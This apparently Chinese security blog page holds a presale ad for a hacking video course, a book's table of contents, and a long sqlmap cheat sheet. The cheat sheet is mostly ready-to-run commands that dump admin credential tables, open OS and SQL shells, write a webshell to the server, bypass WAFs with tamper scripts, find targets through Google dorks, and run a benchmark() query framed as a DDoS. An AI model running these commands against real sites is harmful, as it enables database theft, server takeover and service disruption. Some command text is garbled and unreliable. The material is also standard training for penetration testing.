前言      因为最近工作很忙，所以很多天没有更新博客了。很多会员私聊我反应博客分享的学习教程也好，电子书也好都是几年前的，技术老旧没办法跟上互联网进步的步伐，希望鹦鹉博客录制系列2019年最新的学习教程。我要告诉大家的，无论是什么技术，它所有的发展都是基于前期老旧技术的铺垫，sql注入这个漏洞简单吧，为什么网络技术迭代了这么久，sql注入依旧是开发人员最头疼的一个问题呢，无孔不入。技术不分老旧，只有实用不实用之说，老旧的技术即使不再实用，也可以当作理论补充作为你学习高级技术的垫脚石。      鉴于大家的意见，鹦鹉博客准备录制一系列实用的，黑客攻防web安全与防御的系列教程，目的是为了普及大家的网络安全意识。教程会着重录制一些实战可用的，黑客常见的web渗透方法以及一些神器的使用，对于有些基础的人来说将会对你了解黑客web渗透，入侵的思路有很好的点睛之用，没基础的，教程会从专业术语课程开始，把你领进这块的专业领域。以前做过XXX论坛的专业讲师，所以视频质量都是从优制作，关于内容介于网络安全法我都会是点到为止，利用理论+实战两种方式方便大家学习，所有实战测试，渗透神器的使用都是采用的本地模拟环境，但是对于任何学员有不懂得可以终身售后。      目前教程正在加紧录制中，但是只能在业余时间进行录制，现开启预售，有需求或有意向学习的可联系安三，预售价格肯定会比正式价格低很多，有意向或者不明白的可以Q我，465212916。目录初步定下的教程目录第一大节如下，后续会根据实际情况进行变动。01，第一章，渗透笔记入门篇 - 黑客攻防常用专业术语。 02，第二章，渗透笔记入门篇 - 黑客攻防常见的web入侵手段。 03，第三章，渗透笔记入门篇 - 黑客攻防常见的web漏洞。（案例分析） 04，第四章，渗透笔记学习篇 - sql注入的实现原理。（理论分解） 05，第五章，渗透笔记学习篇 - sql注入的实战演示。（实战环境） 06，第七章，渗透笔记学习篇 - sql注入常用的工具。（理论分解） 07，第八章，渗透笔记工具篇 - 渗透神器sqlmap工具的安装。（理论分解） 08，第九章，渗透笔记工具篇 - 渗透神器sqlmap工具的使用。（实战环境） 09，第六章，渗透笔记学习篇 - 如何防御sql注入。（理论分解） 10，第十章，渗透笔记学习篇 - sql注入的完结及总结。（理论总结） --------------------上面为第一大节 关于sql注入篇 ---------------------------------  

封面内容简介       《Web安全深度剖析》总结了当前流行的高危漏洞的形成原因、攻击手段及解决方案，并通过大量的示例代码复现漏洞原型，制作模拟环境，更好地帮助读者深入了解Web 应用程序中存在的漏洞，防患于未然。       《Web安全深度剖析》从攻到防，从原理到实战，由浅入深、循序渐进地介绍了Web 安全体系。全书分4 篇共16 章，除介绍Web 安全的基础知识外，还介绍了Web 应用程序中最常见的安全漏洞、开源程序的攻击流程与防御，并着重分析了“拖库”事件时黑客所使用的攻击手段。此外，还介绍了渗透测试工程师其他的一些检测方式。       《Web安全深度剖析》最适合渗透测试人员、Web 开发人员、安全咨询顾问、测试人员、架构师、项目经理、设计等人员阅读，也可以作为信息安全等相关专业的教材。 作者简介       张炳帅，毕业于北京航空航天大学，国内著名Web安全研究团队破晓成员，2013年加入中电长城网际CS。Lab实验室，信息安全高级研究员。从事信息安全研究6年，擅长Java，乐于开源和分享研究成果，希望有一天能通过Code改变世界！目录第1篇 基础篇第1章 Web安全简介 21.1 服务器是如何被入侵的 21.2 如何更好地学习Web安全 4第2章 深入HTTP请求流程 62.1 HTTP协议解析 62.1.1 发起HTTP请求 62.1.2 HTTP协议详解 72.1.3 模拟HTTP请求 132.1.4 HTTP协议与HTTPS协议的区别 142.2 截取HTTP请求 152.2.1 Burp Suite Proxy 初体验 152.2.2 Fiddler 192.2.3 WinSock Expert 242.3 HTTP应用：黑帽SEO之搜索引擎劫持 242.4 小结 25第3章 信息探测 263.1 Google Hack 263.1.1 搜集子域名 263.1.2 搜集Web信息 273.2 Nmap初体验 293.2.1 安装Nmap 293.2.2 探测主机信息 303.2.3 Nmap脚本引擎 323.3 DirBuster 333.4 指纹识别 353.5 小结 38第4章 漏洞扫描 394.1 Burp Suite 394.1.1 Target 394.1.2 Spider 404.1.3 Scanner 424.1.4 Intruder 434.1.5 辅助模块 464.2 AWVS 494.2.1 WVS向导扫描 504.2.2 Web扫描服务 524.2.3 WVS小工具 534.3 AppScan 544.3.1 使用AppScan扫描 554.3.2 处理结果 584.3.3 AppScan辅助工具 584.4 小结 61第2篇 原理篇第5章 SQL注入漏洞 645.1 SQL注入原理 645.2 注入漏洞分类 665.2.1 数字型注入 665.2.2 字符型注入 675.2.3 SQL注入分类 685.3 常见数据库注入 695.3.1 SQL Server 695.3.2 MySQL 755.3.3 Oracle 845.4 注入工具 895.4.1 SQLMap 895.4.2 Pangolin 955.4.3 Havij 985.5 防止SQL注入 995.5.1 严格的数据类型 1005.5.2 特殊字符转义 1015.5.3 使用预编译语句 1025.5.4 框架技术 1035.5.5 存储过程 1045.6 小结 105第6章 上传漏洞 1066.1 解析漏洞 1066.1.1 IIS解析漏洞 1066.1.2 Apache解析漏洞 1096.1.3 PHP CGI解析漏洞 1106.2 绕过上传漏洞 1106.2.1 客户端检测 1126.2.2 服务器端检测 1156.3 文本编辑器上传漏洞 1236.4 修复上传漏洞 1276.5 小结 128第7章 XSS跨站脚本漏洞 1297.1 XSS原理解析 1297.2 XSS类型 1307.2.1 反射型XSS 1307.2.2 存储型XSS 1317.2.3 DOM XSS 1327.3 检测XSS 1337.3.1 手工检测XSS 1347.3.2 全自动检测XSS 1347.4 XSS高级利用 1347.4.1 XSS会话劫持 1357.4.2 XSS Framework 1417.4.3 XSS GetShell 1447.4.3 XSS蠕虫 1497.5 修复XSS跨站漏洞 1517.5.1 输入与输出 1517.5.2 HttpOnly 1587.6 小结 160第8章 命令执行漏洞 1618.1 OS命令执行漏洞示例 1618.2 命令执行模型 1628.2.1 PHP命令执行 1638.2.2 Java命令执行 1658.3 框架执行漏洞 1668.3.1 Struts2代码执行漏洞 1668.3.2 ThinkPHP命令执行漏洞 1698.3 防范命令执行漏洞 169第9章 文件包含漏洞 1719.1 包含漏洞原理解析 1719.1.1 PHP包含 1719.1.2 JSP包含 1809.2 安全编写包含 1849.3 小结 184第10章 其他漏洞 18510.1 CSRF 18510.1.1 CSRF攻击原理 18510.1.2 CSRF攻击场景（GET） 18610.1.3 CSRF攻击场景（POST） 18810.1.4 浏览器Cookie机制 19010.1.5 检测CSRF漏洞 19310.1.6 预防跨站请求伪造 19710.2 逻辑错误漏洞 19910.2.1 挖掘逻辑漏洞 19910.2.2 绕过授权验证 20010.2.3 密码找回逻辑漏洞 20410.2.4 支付逻辑漏洞 20510.2.5 指定账户恶意攻击 20910.3 代码注入 21010.3.1 XML注入 21110.3.2 XPath注入 21210.3.3 JSON注入 21510.3.4 HTTP Parameter Pollution 21610.4 URL跳转与钓鱼 21810.4.1 URL跳转 21810.4.2 钓鱼 22010.5 WebServer远程部署 22410.5.1 Tomcat 22410.5.2 JBoss 22610.5.3 WebLogic 22910.6 小结 233第3篇 实战篇第11章 实战入侵与防范 23611.1 开源程序安全剖析 23611.1.1 0day攻击 23611.1.2 网站后台安全 23811.1.3 MD5还安全吗 24311.2 拖库 24811.2.1 支持外连接 24811.2.2 不支持外连接 25311.3 小结 262第4篇 综合篇第12章 暴力破解测试 26412.1 C/S架构破解 26512.2 B/S架构破解 27212.3 暴力破解案例 27512.4 防止暴力破解 27712.5 小结 278第13章 旁注攻击 27913.1 服务器端Web架构 27913.2 IP逆向查询 28013.3 SQL跨库查询 28213.4 目录越权 28313.5 构造注入点 28413.6 CDN 28613.7 小结 288第14章 提权 29014.1 溢出提权 29014.2 第三方组件提权 29414.2.1 信息搜集 29414.2.2 数据库提权 29614.2.3 FTP提权 30214.2.4 PcAnywhere提权 31214.3 虚拟主机提权 31414.4 提权辅助 31514.4.1 3389端口 31514.4.2 端口转发 31814.4.3 启动项提权 32014.4.4 DLL劫持 32114.4.5 添加后门 32214.5 服务器防提权措施 32414.6 小结 325第15章 ARP欺骗攻击 32615.1 ARP协议简介 32615.1.1 ARP缓存表 32615.1.2 局域网主机通信 32715.1.3 ARP欺骗原理 32815.2 ARP攻击 32915.2.1 Cain 32915.2.2 Ettercap 33215.2.3 NetFuke 33615.3 防御ARP攻击 33915.4 小结 340第16章 社会工程学 34116.1 信息搜集 34116.2 沟通 34316.3 伪造 34416.4 小结 345严正声明 346 下载       

前言       sqlmap也是渗透中常用的一个注入工具，其实在注入工具方面，一个sqlmap就足够用了，只要你用的熟，秒杀各种工具，只是一个便捷性问题，sql注入另一方面就是手工党了，这个就另当别论了。今天把我一直以来整理的sqlmap笔记发布上来供大家参考。一共有11种常见SQLmap使用方法： 一、SQLMAP用于Access数据库注入(1) 猜解是否能注入win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"Linux : .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"(2) 猜解表win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tablesLinux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables(3) 根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T adminLinux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin(4) 根据字段猜解内容(假如通过3得到字段为username和password)win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C"username,[url=]B[/url]password" 二、SQLMAP用于Cookie注入(1) cookie注入，猜解表win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2 (2) 猜解字段，(通过1的表猜解字段，假如表为admin)win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -Tadmin --level 2 (3) 猜解内容win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -Tadmin -C "username,password" --level 2 三、SQLMAP用于mysql中DDOS攻击(1) 获取一个Shellwin:python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shellLinux:sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell(2) 输入执行语句完成DDOS攻击select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f) 四、SQLMAP用于mysql注入(1) 查找数据库python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs (2) 通过第一步的数据库查找表(假如数据库名为dataname)python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables (3) 通过2中的表得出列名(假如表为table_name)python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns (4) 获取字段的值(假如扫描出id,user,password字段)python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C"id,user,password" --dump 五、SQLMAP中post登陆框注入(1) 其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件我们在使用Sqlmap进行post型注入时，经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧，即结合burpsuite来使用sqlmap，用这种方法进行post注入测试会更准确，操作起来也非常容易。 1. 浏览器打开目标地址http:// www.xxx.com /Login.asp 2. 配置burp代理(127.0.0.1:8080)以拦截请求 3. 点击login表单的submit按钮 4. 这时候Burp会拦截到了我们的登录POST请求 5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下 6. 运行sqlmap并使用如下命令：./sqlmap.py -r search-test.txt -p tfUPass 这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt，而-p 大家应该比较熟悉，指定注入用的参数。 注入点：http://testasp.vulnweb.com/Login.asp 几种注入方式：./sqlmap.py -r search-test.txt -p tfUPass (2) 自动的搜索sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --forms (3) 指定参数搜索sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --data "tfUName=321&tfUPass=321"六、SQLMAP中Google搜索注入 inurl后面的语言是由自己定的注入过程中如果选y是注入，如果不是选nsqlmap -g inurl:php?id= 七、SQLMAP中的请求延迟参数 --delay --safe-freqpython sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3 八、SQLMAP绕过WAF防火墙注入点:http://192.168.159.1/news.php?id=1sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper "space2morehash.py" space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py都是编码方式space2hash.py base64encode.py charencode.py 九、SQLMAP查看权限sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --privileges 十、SQLMAP伪静态注入(1) 查找数据库python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs (2) 通过1中的数据库查找对应的表 (假如通过1，得到的是dataname)python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables (3) 通过2中的数据表得到字段(假如得到的是tablename表)python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -Ttablename --columns (4) 通过3得到字段值(假如从3中得到字段id，password)python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -Ttablename -C "password" --dump 十一、SQLMAP注入点执行命令与交互写shell(1) 注入点：http://192.168.159.1/news.php?id=1 此处采用的是Linux系统sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-cmd=ipconfig出现语言的选择根据实际的测试网站选择语言指定目标站点D:/www/ (2) 获取Shellsqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-shell 出现语言的选择根据实际的测试网站选择语言 指定目标站点D:/www/输入ipconfig/all创建用户和删除用户只要权限足够大，你可以输入使用任何命令。其他命令参考下面： 从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password 在dedecms数据库中搜索字段admin或者password。 读取与写入文件首先找需要网站的物理路径，其次需要有可写或可读权限。 –file-read=RFILE 从后端的数据库管理系统文件系统读取文件 （物理路径）–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 （mssql xp_shell）–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 #示例：sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php” 使用shell命令：sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell 接下来指定网站可写目录：“E:\php\htdocs\dvwa”#注：mysql不支持列目录，仅支持读取单个文件。sqlserver可以列目录，不能读写文件，但需要一个（xp_dirtree函数）   sqlmap详细命令：-is-dba 当前用户权限（是否为root权限）-dbs 所有数据库-current-db 网站当前数据库-users 所有数据库用户-current-user 当前数据库用户-random-agent 构造随机user-agent-passwords 数据库密码-proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理-time-sec=TIMESEC DBMS响应的延迟时间（默认为5秒）Options（选项）：-version 显示程序的版本号并退出-h, –help 显示此帮助消息并退出-v VERBOSE 详细级别：0-6（默认为1）Target（目标）：以下至少需要设置其中一个选项，设置目标URL。 -d DIRECT 直接连接到数据库。-u URL, –url=URL 目标URL。-l LIST 从Burp或WebScarab代理的日志中解析目标。-r REQUESTFILE 从一个文件中载入HTTP请求。-g GOOGLEDORK 处理Google dork的结果作为目标URL。-c CONFIGFILE 从INI配置文件中加载选项。 Request（请求）：这些选项可以用来指定如何连接到目标URL。 -data=DATA 通过POST发送的数据字符串-cookie=COOKIE HTTP Cookie头-cookie-urlencode URL 编码生成的cookie注入-drop-set-cookie 忽略响应的Set – Cookie头信息-user-agent=AGENT 指定 HTTP User – Agent头-random-agent 使用随机选定的HTTP User – Agent头-referer=REFERER 指定 HTTP Referer头-headers=HEADERS 换行分开，加入其他的HTTP头-auth-type=ATYPE HTTP身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM)-auth-cred=ACRED HTTP身份验证凭据（用户名:密码）-auth-cert=ACERT HTTP认证证书（key_file，cert_file）-proxy=PROXY 使用HTTP代理连接到目标URL-proxy-cred=PCRED HTTP代理身份验证凭据（用户名：密码）-ignore-proxy 忽略系统默认的HTTP代理-delay=DELAY 在每个HTTP请求之间的延迟时间，单位为秒-timeout=TIMEOUT 等待连接超时的时间（默认为30秒）-retries=RETRIES 连接超时后重新连接的时间（默认3）-scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式-safe-url=SAFURL 在测试过程中经常访问的url地址-safe-freq=SAFREQ 两次访问之间测试请求，给出安全的URL Enumeration（枚举）：这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己的SQL语句。-b, –banner 检索数据库管理系统的标识-current-user 检索数据库管理系统当前用户-current-db 检索数据库管理系统当前数据库-is-dba 检测DBMS当前用户是否DBA-users 枚举数据库管理系统用户-passwords 枚举数据库管理系统用户密码哈希-privileges 枚举数据库管理系统用户的权限-roles 枚举数据库管理系统用户的角色-dbs 枚举数据库管理系统数据库-D DBname 要进行枚举的指定数据库名-T TBLname 要进行枚举的指定数据库表（如：-T tablename –columns）-tables 枚举的DBMS数据库中的表-columns 枚举DBMS数据库表列-dump 转储数据库管理系统的数据库中的表项-dump-all 转储所有的DBMS数据库表中的条目-search 搜索列（S），表（S）和/或数据库名称（S）-C COL 要进行枚举的数据库列-U USER 用来进行枚举的数据库用户-exclude-sysdbs 枚举表时排除系统数据库-start=LIMITSTART 第一个查询输出进入检索-stop=LIMITSTOP 最后查询的输出进入检索-first=FIRSTCHAR 第一个查询输出字的字符检索-last=LASTCHAR 最后查询的输出字字符检索-sql-query=QUERY 要执行的SQL语句-sql-shell 提示交互式SQL的shell Optimization（优化）：这些选项可用于优化SqlMap的性能。 -o 开启所有优化开关–predict-output 预测常见的查询输出–keep-alive 使用持久的HTTP（S）连接–null-connection 从没有实际的HTTP响应体中检索页面长度–threads=THREADS 最大的HTTP（S）请求并发量（默认为1）Injection（注入）：这些选项可以用来指定测试哪些参数， 提供自定义的注入payloads和可选篡改脚本。 -p TESTPARAMETER 可测试的参数（S）–dbms=DBMS 强制后端的DBMS为此值–os=OS 强制后端的DBMS操作系统为这个值–prefix=PREFIX 注入payload字符串前缀–suffix=SUFFIX 注入payload字符串后缀–tamper=TAMPER 使用给定的脚本（S）篡改注入数据Detection（检测）：这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。–level=LEVEL 执行测试的等级（1-5，默认为1）–risk=RISK 执行测试的风险（0-3，默认为1）–string=STRING 查询时有效时在页面匹配字符串–regexp=REGEXP 查询时有效时在页面匹配正则表达式–text-only 仅基于在文本内容比较网页Techniques（技巧）：这些选项可用于调整具体的SQL注入测试。–technique=TECH SQL注入技术测试（默认BEUST）–time-sec=TIMESEC DBMS响应的延迟时间（默认为5秒）–union-cols=UCOLS 定列范围用于测试UNION查询注入–union-char=UCHAR 用于暴力猜解列数的字符Fingerprint（指纹）：-f, –fingerprint 执行检查广泛的DBMS版本指纹Brute force（蛮力）：这些选项可以被用来运行蛮力检查。–common-tables 检查存在共同表–common-columns 检查存在共同列User-defined function injection（用户自定义函数注入）： 这些选项可以用来创建用户自定义函数。–udf-inject 注入用户自定义函数–shared-lib=SHLIB 共享库的本地路径  File system access（访问文件系统）：这些选项可以被用来访问后端数据库管理系统的底层文件系统。 –file-read=RFILE 从后端的数据库管理系统文件系统读取文件–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 Operating system access（操作系统访问）：这些选项可以用于访问后端数据库管理系统的底层操作系统。 –os-cmd=OSCMD 执行操作系统命令–os-shell 交互式的操作系统的shell–os-pwn 获取一个OOB shell，meterpreter或VNC–os-smbrelay 一键获取一个OOB shell，meterpreter或VNC–os-bof 存储过程缓冲区溢出利用–priv-esc 数据库进程用户权限提升–msf-path=MSFPATH Metasploit Framework本地的安装路径–tmp-path=TMPPATH 远程临时文件目录的绝对路径Windows注册表访问：这些选项可以被用来访问后端数据库管理系统Windows注册表。 –reg-read 读一个Windows注册表项值–reg-add 写一个Windows注册表项值数据–reg-del 删除Windows注册表键值–reg-key=REGKEY Windows注册表键–reg-value=REGVAL Windows注册表项值–reg-data=REGDATA Windows注册表键值数据–reg-type=REGTYPE Windows注册表项值类型这些选项可以用来设置一些一般的工作参数。-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中-s SESSIONFILE 保存和恢复检索会话文件的所有数据–flush-session 刷新当前目标的会话文件–fresh-queries 忽略在会话文件中存储的查询结果–eta 显示每个输出的预计到达时间–update 更新SqlMap–save file保存选项到INI配置文件–batch 从不询问用户输入，使用所有默认配置。Miscellaneous（杂项）：–beep 发现SQL注入时提醒–check-payload IDS对注入payloads的检测测试–cleanup SqlMap具体的UDF和表清理DBMS–forms 对目标URL的解析和测试形式–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果–page-rank Google dork结果显示网页排名（PR）–parse-errors 从响应页面解析数据库管理系统的错误消息–replicate 复制转储的数据到一个sqlite3数据库–tor 使用默认的Tor（Vidalia/ Privoxy/ Polipo）代理地址–wizard 给初级用户的简单向导界面原文转自：ichunqiu.com